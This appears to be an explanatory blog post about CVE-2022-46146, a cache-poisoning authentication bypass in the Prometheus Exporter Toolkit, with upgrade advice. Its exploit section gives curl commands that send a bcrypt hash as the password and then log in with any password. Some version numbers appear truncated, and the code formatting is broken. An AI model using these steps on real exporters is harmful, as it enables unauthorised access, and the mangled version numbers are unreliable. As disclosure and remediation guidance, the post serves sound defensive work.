Prometheus is a popular tool for monitoring systems and applications, and the Prometheus Exporter Toolkit helps developers easily build exporters with built-in security. In late 2022, a serious vulnerability—now known as CVE-2022-46146—was discovered in this toolkit. This post will explain, in simple terms, what the vulnerability is, how it can be exploited, what code is involved, and how to keep your systems safe.

What Is the Vulnerability?

The issue affects versions before .7.2 and .8.2 of the Prometheus Exporter Toolkit. If an attacker can access:

- Your web.yml configuration file, and

The _bcrypt-hashed_ passwords of users

They can _poison_ the authentication cache used in the toolkit, which could let them bypass password security.

Why Is This Bad?

Bcrypt is meant to keep passwords safe, even if someone steals your password hashes. This bug lets an attacker skip normal authentication entirely, as long as they can get those hashes.

How the Attack Works

The toolkit uses a cache to store bcrypt password comparisons, which makes repeated logins faster. Here's the problem: the cache used the result of comparing the hashed input with the hash in the configuration as the key—but under the hood, the cache logic was flawed. If an attacker has your web.yml and your bcrypt hashes, they can purposely "poison" the cache so _any password_ will work for a user.

Example Attack Scenario

1. Access the Config and Hashes: The attacker gets a copy of your web.yml (where user accounts are stored), and the bcrypt hashes for the users.
2. Poison the Cache: The attacker sends specially crafted login attempts, using the username and the _hash_ instead of the real password. They "train" the cache to accept bad credentials.
3. Bypass Authentication: With the cache polluted, they or anyone else can now log in as that user, using _any_ password.

Here’s a simplified version of what the code looked like (pseudocode)

// This is simplified from the actual toolkit code.
func Authenticate(username, password string) bool {
    hash := lookupHash(username)
    // cache stores results of bcrypt.CompareHashAndPassword
    if result, ok := authCache.Get(hash, password); ok {
        return result
    }
    // Do the bcrypt check
    err := bcrypt.CompareHashAndPassword(hash, []byte(password))
    ok := err == nil
    authCache.Set(hash, password, ok)
    return ok
}

The Weakness:
- The attacker can insert _any hash_ (if they have it) and manipulate the cache to accept wrong passwords.

Exploiting CVE-2022-46146: Step-by-Step

Note: This is for educational awareness only. Do not attack systems you don’t own or have permission for.

basic_auth_users

alice: $2y$10$EhbViIN8lV6udwd/FgE6PO.A....

`bash

curl -u 'alice:$2y$10$EhbViIN8lV6udwd/FgE6PO.A....' http://exporter-server:port/metrics

`bash

curl -u 'alice:anything' http://exporter-server:port/metrics

Fixing the Issue

The official fix changes how the cache is keyed and how the authentication flow works, so cache poisoning is no longer possible.

How to Upgrade

Update your exporter-toolkit dependency or exporter image to version .7.2, .8.2, or newer.

go get github.com/prometheus/exporter-toolkit@v.8.2

No Workaround

Most vulnerabilities have some workaround, but this one does not. If your bcrypt hashes are compromised, your exporter is at risk. The only way to stay safe is to update.

References

- Official Advisory
- CVE Details on NVD
- How Prometheus Basic Auth Works
- Exporter Toolkit Releases

What Should You Do Now?

- Update your exporter-toolkit immediately (at least .7.2/.8.2).
- Keep your web.yml and password hashes secure—if an attacker can't get these, they can't exploit the bug.

Timeline

Published on: 11/29/2022 14:15:00 UTC
Last modified on: 02/01/2023 15:39:00 UTC